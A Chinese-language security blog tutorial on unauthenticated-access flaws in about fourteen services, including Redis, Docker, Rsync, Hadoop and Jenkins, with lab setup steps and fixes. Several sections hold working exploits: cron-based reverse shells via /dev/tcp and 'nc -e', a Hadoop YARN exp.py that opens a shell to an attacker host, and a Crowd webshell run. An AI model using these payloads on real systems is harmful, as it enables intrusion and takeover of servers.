si1ent

常见未授权访问

2020-07-11

本文主要介绍和学习关于“未授权访问”漏洞;从字面了解到“未授权”指的是部署的系统未启用认证功能而被直接访问/操作的安全隐患/漏洞。

感谢前人大佬整理,内容参考网上大佬文章整理,您也可直接看这里.漏洞环境参考Vulhub,部分环境根据漏洞影响范围来选择安装和搭建.

image-20200709163151943

虚拟机22G

准备

1
2
3
4
5
以下环境基本基于centos 7虚拟机部署检测完成。
1.Docker
2.jdk 1.8
3.docker-compose
4.其他参考各漏洞环境搭建部分.

Redis未授权访问

漏洞描述

​ Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。

漏洞验证

0、环境搭建

1
2
3
4
5
6
7
8
9
# wget http://download.redis.io/releases/redis-2.8.17.tar.gz
# tar xzvf redis-2.8.17.tar.gz
# cd redis-2.8.17
# make
# cd src/
# cp redis-server /usr/bin/
# cp redis-cli /usr/bin/
# cp redis.conf /etc/
# redis-server /etc/redis.conf

image-20200703144429633

1、连接Redis

本地可下载客户端进行连接Redis进行getshell等操作

image-20200703144858785

image-20200703144912904

如上图所示连接成功
2、getshell
1
2
3
4
5
6
7
# 攻击机执行nc监听
nc -lvnp 9999
# Redis客户端执行
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/172.16.144.141/9999 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

还有其他方式进行反弹shell可网上参考

image-20200704093747944

getshell
漏洞修复

1、限制登录ip

2、添加密码

3、修改默认端口

MongoDB 未授权访问

漏洞描述

​ 开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。

​ 造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 –auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。

漏洞验证

0、环境搭建

1
2
3
4
5
6
7
8
9
10
//镜像搜索
# docker search mongodb
//拉取镜像
# docker pull mongo
//显示mongo镜像
# docker images mongo
//创建新的容器
# docker run -d -p 27017:27017 --name mongodb mongo
//显示所有容器
# docker ps -a

1、NoSQLBooster连接

image-20200704122547655

漏洞修复

1、MongoDB添加认证:MongoDB启动时添加–auth参数、为MongoDB添加用户

2、启动时加入参数–bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1

Jenkins 未授权访问

漏洞描述

默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

漏洞验证

0、环境搭建

1
2
3
4
5
6
7
//安装并启动Jenkins服务
# rpm -ivh jenkins-2.7.3-1.1.noarch.rpm
//修改默认端口
# vim /etc/sysconfig/jenkins
JENKINS_PORT="8089"
//jenkins服务启动
# service jenkins start

image-20200706091405075

image-20200706091522419

1、浏览器访问

1
2
3
http://172.16.144.142:8089/login?from=%2F
//浏览器访问后输入文件内的密码
# vim /var/lib/jenkins/secrets/initialAdminPassword

2、未授权访问

1
2
//系统
http://172.16.144.142:8089/

image-20200706094611260

3、执行命令

1
println "whoami".execute().text

image-20200706095024778

漏洞修复

1、版本升级

2、添加认证,设置强密码复杂度及账号锁定

3、禁止把Jenkins直接暴露在公网

Memcached 未授权访问

漏洞描述

Memcached是一个自由开源的,高性能,分布式内存对象缓存系统。

Memcached是一种基于内存的key-value存储,用来存储小块的任意数据(字符串、对象)。这些数据可以是数据库调用、API调用或者是页面渲染的结果。

Memcached简洁而强大。它的简洁设计便于快速开发,减轻开发难度,解决了大数据量缓存的很多问题。它的API兼容大部分流行的开发语言。

本质上,它是一个简洁的key-value存储系统。

一般的使用目的是,通过缓存数据库查询结果,减少数据库访问次数,以提高动态Web应用的速度、提高可扩展性。

漏洞验证

0、环境搭建

1
2
3
4
5
6
//安装
# yum install memcached
//启动
# systemctl status memcached.service
//查看默认配置
# cat /etc/sysconfig/memcached

1、telnet连接

1
2
3
telnet 172.16.144.142 11211
nc -vv 172.16.144.142 11211
无需用户名密码,可以直接连接memcache

image-20200706104012663

image-20200706110511684

2、nmap检测

1
nmap -p 11211 --script memcached-info 172.16.144.142

image-20200706105609418

漏洞修复

-设置Memchached只允许本地访问

1
OPTIONS="-l 127.0.0.1"		//只允许本地访问

-禁止外网访问Memcached 11211端口

JBOSS 未授权访问

漏洞描述

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

漏洞验证

可参考JBoss漏洞介绍部分

1、URL访问

1
http://172.16.144.157:8080/

image-20200702154251373

2、访问JMX Console

1
2
//或直接访问这个地址
http://172.16.144.157:8080/jmx-console/

image-20200702154332658

3、部署远程war

image-20200702154524903

1
输入远程构造好的war的URL并点击“Invoke”

image-20200702154726454

漏洞修复

1、jmx控制页面访问添加访问验证

2、JMX Console 安全配置

VNC 未授权访问

漏洞描述

VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制target主机。

漏洞验证

0、环境搭建

1
2
3
4
5
6
需要用gnome桌面,如果服务器安装时使用的最小化安装,那么进行下面操作按章GNOME 桌面
yum grouplist # 列出的组列表里有GNOME Desktop
yum groupinstall -y "GNOME Desktop" # 安装
systemctl set-default graphical.target  //设置成图形模式
systemctl set-default multi-user.target  //设置成命令模式
# 然后重启即可,或者startx开启图形界面。第一次启动可能时间会长一点,耐心等待即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# yum install tigervnc-server -y
//新建服务配置模版
cp /lib/systemd/system/vncserver@.service /etc/systemd/system/vncserver@:1.service
vim /etc/systemd/system/vncserver@\:1.service
[Unit]
Description=Remote desktop service (VNC)
After=syslog.target network.target

[Service]
Type=forking
User=root

# Clean any existing files in /tmp/.X11-unix environment
ExecStartPre=-/usr/bin/vncserver -kill %i
ExecStart=/sbin/runuser -l root -c "/usr/bin/vncserver %i"
PIDFile=/root/.vnc/%H%i.pid
ExecStop=-/usr/bin/vncserver -kill %i

[Install]
WantedBy=multi-user.target

1、端口检测

1
2
3
# netstat -ant | grep 5901
tcp 0 0 0.0.0.0:5901 0.0.0.0:* LISTEN
tcp6 0 0 :::5901 :::* LISTEN

image-20200709155404841

2、取消鉴权

1
2
3
//先停掉服务
# sudo vncserver -kill :1
# vncserver :1 -SecurityTypes=none

image-20200709162439146

漏洞修复

1、添加用户认证

2、以最小普通权限身份运行操作系统

Docker 未授权访问

漏洞描述

​ Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。

​ Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

漏洞验证

0、环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//pip安装
[root@localhost ~]# yum -y install epel-release
[root@localhost ~]# yum -y install python-pip
[root@localhost ~]# pip install --upgrade pip
[root@localhost ~]# pip install docker-compose
[root@localhost ~]# yum install docker
mkdir docker
cd docker
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh
# docker-compose build && docker-compose up -d
ERROR: Couldn't connect to Docker daemon at http+docker://localhost - is it running?

If it's at a non-standard location, specify the URL with the DOCKER_HOST environment variable.
//报以上报错因服务未启动
[root@localhost docker]# sudo systemctl start docker
//编译并启动
[root@localhost docker]# docker-compose build && docker-compose up -d

image-20200706155443054

1、未授权访问

1
2
3
4
//nmap端口检测
➜ Desktop sudo nmap -sS -p 1-65535 -v 172.16.144.135
//获取远程docker信息
➜ Desktop docker -H tcp://172.16.144.135:2375 version

image-20200706155712528

2、反弹shell

1
nc -lvnp 9999

启动容器

1
2
3
4
5
6
7
8
9
docker -H tcp://172.16.144.135:2375 run -id -v /etc/crontabs:/tmp alpine:latest
//主要查看images id值
docker -H tcp://172.16.144.135:2375 ps
//进入进程shell
docker -H tcp://172.16.144.135:2375 exec -it fd986b9a93f2 sh //image id 必须本地拉取新的id值
//新建计划任务
echo '* * * * * /usr/bin/nc 172.16.144.135 9988 -e /bin/sh' >> /tmp/root
//获取计划任务信息列表
cat /tmp/root

image-20200707103740566

反弹成功

image-20200707103806562

3、未授权访问检测

1
2
//此脚本可以检测未授权访问漏洞,反弹shell未实验
https://github.com/Tycx2ry/docker_api_vul
漏洞修复

1、2375端口做网络访问控制

2、修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。

ZooKeeper 未授权访问

漏洞描述

Zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

漏洞验证

0、环境搭建

1
2
3
4
5
6
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start //服务启动
../bin/zkServer.sh stop //服务停止

image-20200707111251952

1、未授权访问

1
echo envi|nc 172.16.144.135 2181

image-20200707111357506

2、ZooKeeper可视化

1
https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

image-20200707111758244

image-20200707112356764

漏洞修复

1、修改 ZooKeeper 默认端口,采用其他端口服务

2、添加访问控制,配置服务来源地址限制策略

3、增加 ZooKeeper 的认证配置

Rsync 未授权访问

漏洞描述

​ Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837

漏洞验证

0、环境搭建

1
2
3
4
5
6
7
//下载项目
https://github.com/vulhub/vulhub/tree/master/rsync/common
//启动容器
# docker-compose build && docker-compose up -d
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
5c1eb59de4a8 common_rsync "/docker-entrypoin..." 13 seconds ago Up 12 seconds 0.0.0.0:873->873/tcp common_rsync_1

1、未授权检测

1
2
3
4
5
# rsync rsync://{target_ip}/
➜ Downloads rsync rsync://172.16.144.135:873/
src src path
//下载文件至本地
➜ Downloads rsync rsync://172.16.144.135:873/src/etc/passwd ./

2、反弹shell

1
2
3
4
5
# 下载crontab配置文件
rsync rsync://172.16.2.250:873/src/etc/crontab ./
# 该环境crontab中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示每小时的第17分钟执行run-parts --report /etc/cron.hourly
1
2
3
4
5
6
7
# 写入bash并赋权
vim nc
#!/bin/bash
/bin/bash -i >& /dev/tcp/172.16.144.135/9999 0>&1
chmod 777 nc
# 将文件上传至/etc/cron.hourly
rsync -av nc rsync://172.16.144.135:873/src/etc/cron.hourly

image-20200707115044398

1
2
# 本地监听9999
nc -lnvp 9999

image-20200707121738127

漏洞修复

1、账户认证:正确配置认证用户名及密码

2、权限控制:使用合理的权限

3、网络访问控制:控制接入源ip

4、数据加密传输等

Atlassian Crowd 未授权访问

漏洞描述

​ Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。

漏洞验证

0、环境搭建

1
2
3
4
5
6
wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
unzip atlassian-crowd-3.4.3.zip
cd atlassian-crowd-3.4.3
vim crowd-webapp/WEB-INF/classes/crowd-init.properties
//取消注释
crowd.home=/var/crowd-home

执行“Set up Crowd”

image-20200708113709624

申请30天试用license

1
https://my.atlassian.com/license/evaluation?utm_nooverride=1&product=Crowd&version=3.4.3&sid=Server ID&ref=prod

image-20200708120448211

如下图所示:安装成功

image-20200708133857021

1、未授权测试

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  Atlassian git clone https://github.com/jas502n/CVE-2019-11580.git
➜ CVE-2019-11580 git:(master) sudo python CVE-2019-11580.py http://172.16.144.135:8095/
http://172.16.144.135:8095//crowd/admin/uploadplugin.action

Installed plugin /root/atlassian-crowd-3.4.3/apache-tomcat/temp/plugindev-3858334950456985130rce.jar

>>>Get Webshell //已经getshell

http://172.16.144.135:8095//crowd/plugins/servlet/exp?cmd=whoami

Exec command= whoami

Result= root

image-20200708134835246

1
➜  CVE-2019-11580 git:(master) curl http://172.16.144.135:8095//crowd/plugins/servlet/exp\?cmd\=id
漏洞修复

1、设置访问/crowd/admin/uploadplugin.action的源ip

2、版本升级

CouchDB 未授权访问

漏洞描述

​ Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序),默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。

​ 在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生

漏洞验证

0、环境搭建

1
2
3
# mkdir couchdb
# wget https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/docker-compose.yml
# docker-compose build && docker-compose up -d

image-20200709010005589

1、未授权访问

1
2
curl http://127.0.0.1:5984
curl http://127.0.0.1:5984/_config

image-20200709005955776

image-20200709010449342

漏洞修复

1、添加认证入口

Elasticsearch 未授权访问

漏洞描述

​ ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完成。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。
  Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。

漏洞验证

0、环境搭建

1
2
3
4
5
6
7
8
9
ElasticSearch必须jdk8
//新建用户
# useradd elasticsearch
# passwd elasticsearch
# su elasticsearch
[elasticsearch@localhost ~]$ wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip
# unzip elasticsearch-5.5.0.zip
# cd /elasticsearch-5.5.0/bin
$ ./elasticsearch -d

1、未授权访问

1
$ curl  127.0.0.1:9200

image-20200708235939239

1
$ curl http://172.16.144.135:9200/_nodes

image-20200709002204225

漏洞修复

1、访问控制策略,限制IP访问,绑定固定IP

2、在config/elasticsearch.yml中为9200端口设置认证等

Hadoop 未授权访问

漏洞描述

​ Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

​ Hadoop是一个开源的框架,可编写和运行分布式应用处理大规模数据,是专为离线和大规模数据分析而设计的,并不适合那种对几个记录随机读写的在线事务处理模式。Hadoop=HDFS(文件系统,数据存储技术相关)+ Mapreduce(数据处理),Hadoop的数据来源可以是任何形式,在处理半结构化和非结构化数据上与关系型数据库相比有更好的性能,具有更灵活的处理能力,不管任何数据形式最终会转化为key/value,key/value是基本数据单元。

漏洞验证

0、环境搭建

1
2
3
4
5
6
//拉取docker-compose
mkdir hadoop
cd hadoop/
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/docker-compose.yml
//编译并启动
docker-compose build && docker-compose up -d

1、未授权访问

1
http://172.16.144.139:8088/cluster

image-20200709140307458

2 、命令执行

本地监听端口,并执行以下exp脚本。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

import requests

target = 'http://192.168.18.129:8088/'
lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

3、反弹shell

image-20200709140921090

漏洞修复

1、如无必要,关闭 Hadoop Web 管理页面

2、开启身份验证,防止未经授权用户访问

3、设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。

Jupyter Notebook 未授权访问

漏洞描述

​ Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。

漏洞验证

0、环境搭建

1
2
3
# wget https://raw.githubusercontent.com/vulhub/vulhub/master/jupyter/notebook-rce/docker-compose.yml
# docker-compose build && docker-compose up -d
默认监听8888端口

1、未授权访问

1
http://172.16.144.139:8888/

image-20200709145828298

2、命令执行

1
http://172.16.144.139:8888/terminals/1

image-20200709145911206

漏洞修复

1、开启身份验证,防止未经授权用户访问

2、访问控制策略,限制IP访问,绑定固定IP

监听端口

以上未授权漏洞程序默认监听端口情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Reids	: 6379
MongoDB : 27017
Jenkins : 8089
Memcached : 11211
JBoss : 8080
VNC : 5900、5901
Docker : 2375
ZooKeeper : 2181
Rsync : 837
Atlassian Crowd : 8095
Couch DB : 5984
ElasticSearch : 9200、9300
Hadoop : 8088
Jupyter Notebook : 8888

参考

1
2
https://xz.aliyun.com/t/6103#toc-4
https://paper.seebug.org/409/
使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏

扫描二维码,分享此文章